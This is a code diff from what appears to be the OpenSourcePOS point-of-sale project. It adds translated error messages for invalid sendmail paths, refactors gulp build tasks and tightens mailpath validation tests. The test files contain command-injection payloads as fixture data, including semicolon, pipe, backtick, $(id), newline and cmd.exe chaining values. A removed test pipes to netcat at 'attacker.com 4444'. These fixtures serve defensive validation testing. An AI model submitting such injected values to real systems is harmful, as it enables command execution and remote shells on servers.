'mailpath_invalid' => 'Geçersiz sendmail yolu. Yalnızca harflere, rakamlara, tirelere, alt çizgilere, eğik çizgilere, ters eğik çizgilere, iki noktalara, boşluklara ve noktalara izin verilir.',
'saved_successfully' => 'Yapılandırma kaydedildi.',
'saved_unsuccessfully' => 'Yapılandırma kaydedilemedi.',
'security_issue' => 'Güvenlik Arıklığı Uyarısı',
app/Language/uk/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Право',
'sales_invoice_format' => 'Формат рахунків-фактур продажів',
'sales_quote_format' => 'Формат котирування продажів',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Невірний шлях sendmail. Дозволені лише літери, цифри, дефіси, підкреслення, коси риски, зворотні коси риски, двокрапки, пробіли та крапки.',
'saved_successfully' => 'Конфігурація успішно збережена',
'saved_unsuccessfully' => 'Помилка збереження конфігурації',
'security_issue' => 'Попередження про вразливість системи безпеки',
app/Language/ur/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'sendmail کا راستہ غلط ہے۔ صرف حروف، ہندسے، ڈیش، انڈر اسکور، سلیش، بیک سلیش، کالن، اسپیس اور نقطے کی اجازت ہے۔',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => 'Security Vulnerability Warning',
app/Language/vi/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Phải',
'sales_invoice_format' => 'Định dạng Hóa đơn bán hàng',
'sales_quote_format' => 'Định dạng Báo giá bán hàng',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Đường dẫn sendmail không hợp lệ. Chỉ cho phép chữ cái, số, dấu gạch ngang, dấu gạch dưới, dấu gạch chéo, dấu gạch chéo ngược, dấu hai chấm, dấu cách và dấu chấm.',
'saved_successfully' => 'Cấu hình được lưu thành công.',
'saved_unsuccessfully' => 'Gặp lỗi khi lưu cấu hình.',
'security_issue' => 'Cảnh báo về lỗ hổng bảo mật',
app/Language/zh-Hans/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => '无效的 sendmail 路径。仅允许字母、数字、连字符、下划线、正斜杠、反斜杠、冒号、空格和点号。',
'saved_successfully' => '組態設置儲存成功',
'saved_unsuccessfully' => '組態設置儲存失敗',
'security_issue' => 'Security Vulnerability Warning',
app/Language/zh-Hant/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => '銷售發票格式',
'sales_quote_format' => '銷售報價格式',
'mailpath_invalid' => '',
'mailpath_invalid' => '無效的 sendmail 路徑。僅允許字母、數字、連字號、底線、正斜線、反斜線、冒號、空格和句點。',
'saved_successfully' => '組態設置儲存成功.',
'saved_unsuccessfully' => '組態設置儲存失敗.',
'security_issue' => '安全漏洞警告',
gulpfile.js
+71 -57
View File
@@ -39,57 +39,69 @@ gulp.task('compress', function() {
gulp.task('update-licenses', function() {
run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec();
run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec();
run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec();
return pipeline(gulp.src('LICENSE'),gulp.dest('public/license'));
function run_completion(execStream) {
return finished(execStream.resume());
}
return Promise.all([
run_completion(run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec()),
run_completion(run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec()),
run_completion(run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec()),
pipeline(gulp.src('LICENSE'),gulp.dest('public/license'))
]);
});
// Copy the bootswatch styles into their own folder so OSPOS can select one from the collection
gulp.task('copy-bootswatch', function() {
pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean'));
pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo'));
pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg'));
pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly'));
pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly'));
pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal'));
pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen'));
pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper'));
pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable'));
pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone'));
pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex'));
pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate'));
pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab'));
pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero'));
pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united'));
pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti'));
return pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts'));
return Promise.all([
pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean')),
pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo')),
pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg')),
pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly')),
pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly')),
pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal')),
pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen')),
pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper')),
pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable')),
pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone')),
pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex')),
pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate')),
pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab')),
pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero')),
pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united')),
pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti')),
pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts'))
]);
});
// Copy the bootswatch styles into their own folder so OSPOS can select one from the collection
gulp.task('copy-bootswatch5', function() {
pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero'));
pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united'));
return pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti'));
return Promise.all([
pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united')),
pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti'))
]);
});
// Copy the bootstrap style into its own folder so OSPOS can select it from the collection
gulp.task('copy-bootstrap', function() {
pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap'));
pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap'));
return pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap'));
return Promise.all([
pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap')),
pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')),
pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap'))
]);
});
// /public/resources/ospos - contains the minimized files to be packed into opensourcepos.min.[css/js]
@@ -277,25 +289,27 @@ gulp.task('copy-fonts', function() {
gulp.task('copy-menubar', function() {
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar"));
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar"));
return pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar"));
return Promise.all([
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar")),
pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar"))
]);
});
package-lock.json
Generated
+3
View File
@@ -61,6 +61,9 @@
"npm-check-updates": "^22.1.1",
"readable-stream": "^4.4.2",
"stream-series": "^0.1.1"
},
"engines": {
"node": ">=20"
}
},
"node_modules/@babel/runtime": {
package.json
+3
View File
@@ -24,6 +24,9 @@
],
"type": "module",
"main": "index.php",
"engines": {
"node": ">=20"
},
"scripts": {
"build": "gulp default",
"gulp": "gulp"
tests/Config/Validation/OSPOSRulesTest.php
+18 -8
View File
@@ -113,16 +113,26 @@ class OSPOSRulesTest extends CIUnitTestCase
public static function validPathStrictProvider(): array
{
return [
'plain sendmail path' => ['/usr/sbin/sendmail', true],
'plain php path' => ['/usr/bin/php', true],
'path with dash and underscore' => ['/opt/my-mail_bin/sendmail.exe', true],
'plain sendmail path' => ['/usr/sbin/sendmail', true],
'plain php path' => ['/usr/bin/php', true],
'path with dash and underscore' => ['/opt/my-mail_bin/sendmail.exe', true],
'path with trailing args' => ['/usr/sbin/sendmail -t -i', true],
'windows path' => ['C:\wamp64\bin\sendmail\sendmail.exe', true],
'windows path with trailing args' => ['C:\wamp64\bin\sendmail\sendmail.exe -t -i', true],
'empty string' => ['', false],
'trailing newline bypass payload' => ["/usr/bin/php\n", false],
'trailing newline bypass payload' => ["/usr/bin/php\n", false],
'trailing newline plus injected command' => ["/usr/bin/php\nid", false],
'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false],
'semicolon injection' => ['/usr/bin/php;id', false],
'pipe injection' => ['/usr/bin/php|id', false],
'space separated args' => ['/usr/bin/php -r "phpinfo();"', false],
'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false],
'semicolon injection' => ['/usr/bin/php;id', false],
'pipe injection' => ['/usr/bin/php|id', false],
'ampersand injection' => ['/usr/bin/php & id', false],
'backtick injection' => ['/usr/bin/php `id`', false],
'dollar subshell injection' => ['/usr/bin/php $(id)', false],
'quoted args' => ['/usr/bin/php -r "phpinfo();"', false],
'redirect injection' => ['/usr/bin/php > /tmp/out', false],
'cmd.exe env var expansion' => ['C:\path\sendmail.exe %COMSPEC%', false],
'cmd.exe escape char' => ['C:\path\sendmail.exe ^& calc', false],
'cmd.exe command chaining' => ['C:\path\sendmail.exe && calc', false],
];
}
tests/Controllers/ConfigTest.php
+2 -86
View File
@@ -117,63 +117,7 @@ class ConfigTest extends CIUnitTestCase
$this->assertStringContainsString('invalid', strtolower($result['message']));
}
public function testMailpath_RejectsCommandInjection_Pipe(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_And(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail && whoami'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Backtick(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/`whoami`'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Subshell(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail$(id)'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_SpaceInPath(): void
public function testMailpath_AcceptsSendmailPathWithTrailingArgs(): void
{
$this->resetSession();
@@ -184,35 +128,7 @@ class ConfigTest extends CIUnitTestCase
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Newline(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => "/usr/sbin/sendmail\n/bin/bash"
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_DollarSign(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/$SENDMAIL'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
$this->assertTrue($result['success']);
}
// ========== postSaveLocale: payment_reference_code_min / max ==========